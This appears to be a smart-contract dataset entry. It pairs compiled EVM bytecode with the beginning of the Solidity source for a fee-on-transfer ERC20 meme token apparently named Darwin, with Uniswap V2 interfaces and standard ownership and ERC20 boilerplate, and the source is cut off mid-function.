ffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f769190613718565b60405180910390a25050565b600b5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612017612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209d90613b75565b60405180910390fd5b801515600f60019054906101000a900460ff161515036120fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f2906144dc565b60405180910390fd5b80600f60016101000a81548160ff02191690831515021790555050565b600e5481565b612126612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ac90613b75565b60405180910390fd5b80600b819055506032600b541115612202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f990613d2b565b60405180910390fd5b7fa54a45ff147b987a50c11919090466ad8b9df105c160d2e6bfb296df2b9abfb7600b546040516122339190613561565b60405180910390a150565b612246612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cc90613b75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612344576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233b9061456e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61240c612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461249b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249290613b75565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250090614600565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361256c57612566473373ffffffffffffffffffffffffffffffffffffffff16612f5290919063ffffffff16565b50612671565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016125ac9190613873565b602060405180830381865afa1580156125c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125ed9190614635565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161262a929190614662565b6020604051808303816000875af1158015612649573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061266d91906146a0565b5050505b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036126eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e29061473f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361275a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612751906147d1565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128389190613561565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ab90614863565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291a906148f5565b60405180910390fd5b600f60029054906101000a900460ff16806129875750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806129db5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1190614961565b60405180910390fd5b60008103612a3357612a2e8383600061300d565b612f4d565b601160009054906101000a900460ff1615612c8957600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612af15750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b8015612b475750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612b9d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c8857600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612c4157601254811115612c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c33906149f3565b60405180910390fd5b612c87565b601354811115612c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7d906149f3565b60405180910390fd5b5b5b5b6000612c943061106d565b90506000600e548210159050808015612cba5750600f60009054906101000a900460ff16155b8015612d135750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015612d2b5750600f60019054906101000a900460ff165b15612d70576001600f60006101000a81548160ff021916908315150217905550612d548261328c565b6000600f60006101000a81548160ff0219169083151502179055505b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612e135750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80612e2a5750600f60009054906101000a900460ff165b15612e385760009050612efe565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603612e9757600a549050612efd565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603612ef657600b549050612efc565b600c5490505b5b5b6000811115612f3e57600060648286612f179190614249565b612f219190613f76565b90508085612f2f9190614a13565b9450612f3c87308361300d565b505b612f4986868661300d565b5050505b505050565b600081471015612f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f8e90614a93565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff1683604051612fbd90614ae4565b60006040518083038185875af1925050503d8060008114612ffa576040519150601f19603f3d011682016040523d82523d6000602084013e612fff565b606091505b505090508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361307c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161307390614863565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036130eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130e2906148f5565b60405180910390fd5b6130f683838361353e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561317c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161317390614b6b565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461320f9190613af5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516132739190613561565b60405180910390a3613286848484613543565b50505050565b60004790506000600267ffffffffffffffff8111156132ae576132ad614b8b565b5b6040519080825280602002602001820160405280156132dc5781602001602082028036833780820191505090505b50905030816000815181106132f4576132f3614bba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561339b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133bf9190614bfe565b816001815181106133d3576133d2614bba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401613471959493929190614d24565b600060405180830381600087803b15801561348b57600080fd5b505af115801561349f573d6000803e3d6000fd5b50505050600082476134b19190614a13565b90506134fe81600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612f5290919063ffffffff16565b507f957ad1fc6d4d41da6d1a8d37303289ef3c4b78e0285ff5df1e12070ef0e62999848260405161353092919061428b565b60405180910390a150505050565b505050565b505050565b6000819050919050565b61355b81613548565b82525050565b60006020820190506135766000830184613552565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156135b657808201518184015260208101905061359b565b60008484015250505050565b6000601f19601f8301169050919050565b60006135de8261357c565b6135e88185613587565b93506135f8818560208601613598565b613601816135c2565b840191505092915050565b6000602082019050818103600083015261362681846135d3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061365e82613633565b9050919050565b61366e81613653565b811461367957600080fd5b50565b60008135905061368b81613665565b92915050565b61369a81613548565b81146136a557600080fd5b50565b6000813590506136b781613691565b92915050565b600080604083850312156136d4576136d361362e565b5b60006136e28582860161367c565b92505060206136f3858286016136a8565b9150509250929050565b60008115159050919050565b613712816136fd565b82525050565b600060208201905061372d6000830184613709565b92915050565b6000819050919050565b600061375861375361374e84613633565b613733565b613633565b9050919050565b600061376a8261373d565b9050919050565b600061377c8261375f565b9050919050565b61378c81613771565b82525050565b60006020820190506137a76000830184613783565b92915050565b6000602082840312156137c3576137c261362e565b5b60006137d18482850161367c565b91505092915050565b6000806000606084860312156137f3576137f261362e565b5b60006138018682870161367c565b93505060206138128682870161367c565b9250506040613823868287016136a8565b9150509250925092565b600060ff82169050919050565b6138438161382d565b82525050565b600060208201905061385e600083018461383a565b92915050565b61386d81613653565b82525050565b60006020820190506138886000830184613864565b92915050565b613897816136fd565b81146138a257600080fd5b50565b6000813590506138b48161388e565b92915050565b6000602082840312156138d0576138cf61362e565b5b60006138de848285016138a5565b91505092915050565b6000602082840312156138fd576138fc61362e565b5b600061390b848285016136a8565b91505092915050565b6000806040838503121561392b5761392a61362e565b5b60006139398582860161367c565b925050602061394a858286016138a5565b9150509250929050565b6000806040838503121561396b5761396a61362e565b5b6000613979858286016136a8565b925050602061398a858286016136a8565b9150509250929050565b600080604083850312156139ab576139aa61362e565b5b60006139b98582860161367c565b92505060206139ca8582860161367c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613a1b57607f821691505b602082108103613a2e57613a2d6139d4565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613a90602883613587565b9150613a9b82613a34565b604082019050919050565b60006020820190508181036000830152613abf81613a83565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613b0082613548565b9150613b0b83613548565b9250828201905080821115613b2357613b22613ac6565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613b5f602083613587565b9150613b6a82613b29565b602082019050919050565b60006020820190508181036000830152613b8e81613b52565b9050919050565b7f4d6178207472616e73616374696f6e206c696d697420697320616c726561647960008201527f2073657420746f20746861742073746174650000000000000000000000000000602082015250565b6000613bf1603283613587565b9150613bfc82613b95565b604082019050919050565b60006020820190508181036000830152613c2081613be4565b9050919050565b7f57616c6c657420746f2057616c6c6574205472616e736665722046656520636160008201527f6e6e6f742065786365656420746865206d6178696d756d000000000000000000602082015250565b6000613c83603783613587565b9150613c8e82613c27565b604082019050919050565b60006020820190508181036000830152613cb281613c76565b9050919050565b7f546f74616c20466565732063616e6e6f742065786365656420746865206d617860008201527f696d756d00000000000000000000000000000000000000000000000000000000602082015250565b6000613d15602483613587565b9150613d2082613cb9565b604082019050919050565b60006020820190508181036000830152613d4481613d08565b9050919050565b7f4163636f756e7420697320616c72656164792073657420746f2074686174207360008201527f7461746500000000000000000000000000000000000000000000000000000000602082015250565b6000613da7602483613587565b9150613db282613d4b565b604082019050919050565b60006020820190508181036000830152613dd681613d9a565b9050919050565b7f43616e277420736574207468697320616464726573732e000000000000000000600082015250565b6000613e13601783613587565b9150613e1e82613ddd565b602082019050919050565b60006020820190508181036000830152613e4281613e06565b9050919050565b7f54726164696e6720616c726561647920656e61626c65642e0000000000000000600082015250565b6000613e7f601883613587565b9150613e8a82613e49565b602082019050919050565b60006020820190508181036000830152613eae81613e72565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613f11602583613587565b9150613f1c82613eb5565b604082019050919050565b60006020820190508181036000830152613f4081613f04565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f8182613548565b9150613f8c83613548565b925082613f9c57613f9b613f47565b5b828204905092915050565b7f53776170546f6b656e734174416d6f756e74206d75737420626520677265617460008201527f6572207468616e20302e3030303125206f6620746f74616c20737570706c7900602082015250565b6000614003603f83613587565b915061400e82613fa7565b604082019050919050565b6000602082019050818103600083015261403281613ff6565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156140905780860481111561406c5761406b613ac6565b5b600185161561407b5780820291505b808102905061408985614039565b9450614050565b94509492505050565b6000826140a95760019050614165565b816140b75760009050614165565b81600181146140cd57600281146140d757614106565b6001915050614165565b60ff8411156140e9576140e8613ac6565b5b8360020a915084821115614100576140ff613ac6565b5b50614165565b5060208310610133831016604e8410600b841016171561413b5782820a90508381111561413657614135613ac6565b5b614165565b6141488484846001614046565b9250905081840481111561415f5761415e613ac6565b5b81810290505b9392505050565b600061417782613548565b91506141828361382d565b92506141af7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484614099565b905092915050565b7f4d6178205472616e73616374696f6e206c696d69732063616e6e6f742062652060008201527f6c6f776572207468616e20302e3125206f6620746f74616c20737570706c7900602082015250565b6000614213603f83613587565b915061421e826141b7565b604082019050919050565b6000602082019050818103600083015261424281614206565b9050919050565b600061425482613548565b915061425f83613548565b925082820261426d81613548565b9150828204841483151761428457614283613ac6565b5b5092915050565b60006040820190506142a06000830185613552565b6142ad6020830184613552565b9392505050565b7f4d61726b6574696e672077616c6c657420697320616c7265616479207468617460008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b6000614310602883613587565b915061431b826142b4565b604082019050919050565b6000602082019050818103600083015261433f81614303565b9050919050565b7f4d61726b6574696e672077616c6c65742063616e6e6f7420626520746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b60006143a2602b83613587565b91506143ad82614346565b604082019050919050565b600060208201905081810360008301526143d181614395565b9050919050565b7f4163636f756e7420697320616c7265616479207468652076616c7565206f662060008201527f276578636c756465642700000000000000000000000000000000000000000000602082015250565b6000614434602a83613587565b915061443f826143d8565b604082019050919050565b6000602082019050818103600083015261446381614427565b9050919050565b7f73776170456e61626c656420616c72656164792061742074686973207374617460008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b60006144c6602283613587565b91506144d18261446a565b604082019050919050565b600060208201905081810360008301526144f5816144b9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614558602683613587565b9150614563826144fc565b604082019050919050565b600060208201905081810360008301526145878161454b565b9050919050565b7f4f776e65722063616e6e6f7420636c61696d20636f6e7472616374277320626160008201527f6c616e6365206f6620697473206f776e20746f6b656e73000000000000000000602082015250565b60006145ea603783613587565b91506145f58261458e565b604082019050919050565b60006020820190508181036000830152614619816145dd565b9050919050565b60008151905061462f81613691565b92915050565b60006020828403121561464b5761464a61362e565b5b600061465984828501614620565b91505092915050565b60006040820190506146776000830185613864565b6146846020830184613552565b9392505050565b60008151905061469a8161388e565b92915050565b6000602082840312156146b6576146b561362e565b5b60006146c48482850161468b565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614729602483613587565b9150614734826146cd565b604082019050919050565b600060208201905081810360008301526147588161471c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006147bb602283613587565b91506147c68261475f565b604082019050919050565b600060208201905081810360008301526147ea816147ae565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061484d602583613587565b9150614858826147f1565b604082019050919050565b6000602082019050818103600083015261487c81614840565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006148df602383613587565b91506148ea82614883565b604082019050919050565b6000602082019050818103600083015261490e816148d2565b9050919050565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b600061494b601883613587565b915061495682614915565b602082019050919050565b6000602082019050818103600083015261497a8161493e565b9050919050565b7f416e74695768616c653a205472616e7366657220616d6f756e7420657863656560008201527f647320746865206d61785472616e73616374696f6e416d6f756e740000000000602082015250565b60006149dd603b83613587565b91506149e882614981565b604082019050919050565b60006020820190508181036000830152614a0c816149d0565b9050919050565b6000614a1e82613548565b9150614a2983613548565b9250828203905081811115614a4157614a40613ac6565b5b92915050565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b6000614a7d601d83613587565b9150614a8882614a47565b602082019050919050565b60006020820190508181036000830152614aac81614a70565b9050919050565b600081905092915050565b50565b6000614ace600083614ab3565b9150614ad982614abe565b600082019050919050565b6000614aef82614ac1565b9150819050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614b55602683613587565b9150614b6082614af9565b604082019050919050565b60006020820190508181036000830152614b8481614b48565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050614bf881613665565b92915050565b600060208284031215614c1457614c1361362e565b5b6000614c2284828501614be9565b91505092915050565b6000819050919050565b6000614c50614c4b614c4684614c2b565b613733565b613548565b9050919050565b614c6081614c35565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614c9b81613653565b82525050565b6000614cad8383614c92565b60208301905092915050565b6000602082019050919050565b6000614cd182614c66565b614cdb8185614c71565b9350614ce683614c82565b8060005b83811015614d17578151614cfe8882614ca1565b9750614d0983614cb9565b925050600181019050614cea565b5085935050505092915050565b600060a082019050614d396000830188613552565b614d466020830187614c57565b8181036040830152614d588186614cc6565b9050614d676060830185613864565b614d746080830184613552565b969550505050505056fea2646970667358221220dd0038d88d11576871fd2dd2defe6d63cd4c1a3ce1546beb431ed0b1cdea27ec64736f6c63430008110033	// //https://t.me/darwinerc //https://twitter.com/darwinerc //https://aidarwin.net // SPDX-License-Identifier: MIT pragma solidity 0.8.17; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library Address { function isContract(address account) internal view returns (bool) { return account.code.length > 0; } function sendValue(address payable recipient, uint256 amount) internal returns(bool){ require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); return success; } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { 